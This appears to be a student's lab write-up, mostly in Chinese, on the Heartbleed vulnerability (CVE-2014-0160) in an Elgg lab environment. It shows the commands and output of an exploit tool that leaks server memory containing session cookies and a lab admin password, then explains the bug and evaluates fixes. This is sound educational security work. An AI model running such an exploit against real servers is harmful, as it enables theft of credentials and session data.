

Task 1: Launch the Heartbleed Attack

[illegible]

可以查到用户访问的网页

窃取到用户的展账号和密码

```

File Actions Edit View Help
.....+..
e7voo36v2lu5

..>1+ ... Y ... t*=.....az.<... N..ent/admin
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Elgg=fmmrb8dv25kqbce7voo36v2lu5

... K....sX..].G.Q..anguage: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Elgg=gn8v37trbo58h76o9ep3s8od47

__elgg_token=ed20333148d91bc81e1fe13bcd7484ea8__elgg_ts=1594057040&username=admin&password=seedelgg..s...
T.....ktatus-b14c2a0e7b9e7d55.php";i:36;s:50:"20120Y0..pth.pth.....slog-87fe0f068cf62428.php";i:37
;s:50:"2012012100-1.8.3-system_cache-93100e7d55a24a11.php";i:38;s:59:"2012041800-1.8.3-dont_filter_passwo
rds-c0ca4a18b38ae2bc.php";i:39;s:58:"2012041801-1.8.3-multiple_user_tokens-852225f7fd89f6c5.php";i:40;s:5
9:"2013030600-1.8.13-update_user_location-8999eb8bf1bdd9a3.php";i:41;s:62:"2013051700-1.8.15-add_missing_
group_index-52a63a3a3ffaced2.php";i:42;s:53:"2013052900-1.8.15-ipv6_in_syslog-f5c2cc0196e9e731.php";i:43;
s:50:"2013060900-1.8.15-site_secret-404fc165cf9e0ac9.php";i:44;s:50:"2014012000-1.8.18-rememb
.....#.....?.....( ... 0.....
.....P.....!.....P ... h ... @ ... 8.....U..pth.pth.....
.....@.....!.....
.....@.....!.....P ... X ... 8.....
.....!.....X.....h ... `.....
.....P.....!
.....h ... p ... 8 ... P ... ( ... `.....
.....@.....!.....X.....
.....!.....

```

Task 2: Find the Cause of the Heartbleed Vulnerability

Question 2.1

```

File Actions Edit View Help
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

.. QAAAAAAAAAAAAAAAAAAAAABCEFGHIJKLMNOPABC ...
...!.9.8.....5.....
...w.d}Es!o..5..X

kali@kali:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 60

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####

..< AAAAAAAAAAAAAAAAAAAAAABCEFGHIJKLMNOPABC ...
..".!.9.8.....5%g ... Q.IG;T.....

kali@kali:~/Desktop$

```

随着长度的减小，接收的数据也会减少

Question 2.2

```
kali@kali: ~/Desktop
File Actions Edit View Help
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result....
Received alert:
Please wait ... connection attempt 1 of 1
#####

.F 22

kali@kali:~/Desktop$ ./attack.py www.heartbleedlabelgg.com -l 23

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait ... connection attempt 1 of 1
#####

... AAAAAAAAAAAAAAAAAAAAAABC.. {p .. (m ... (2G 23
G
```

观察到当小于23时接收的数据
时良性数据

Task 3: Countermeasure and Bug Fix

Task 3.1

在完成了软件更新之后

```
kali@kali:~/Desktop$ ./attack.py www.heartbleedlabelgg.com

defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

#####
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....
Received alert:
Please wait ... connection attempt 1 of 1
#####

.F
```

Task3.2

修复的话，只需要把payload长度+1+2+16 和原心脏包的长度比较。若大于，则放弃响应就行。

漏洞原理是 接收者认定了载荷生成的长度和实际大小一样而导致的。故bob的从漏洞的原理讲是对的。Alice提出的解决问题的方法只能缓解漏洞利用，就算检查了buffer copy，也没有保证根除问题。eva删除长度，可能需要自己再次计算长度，在多并发的情况下，心脏包响应速度过慢，会导致断开连接。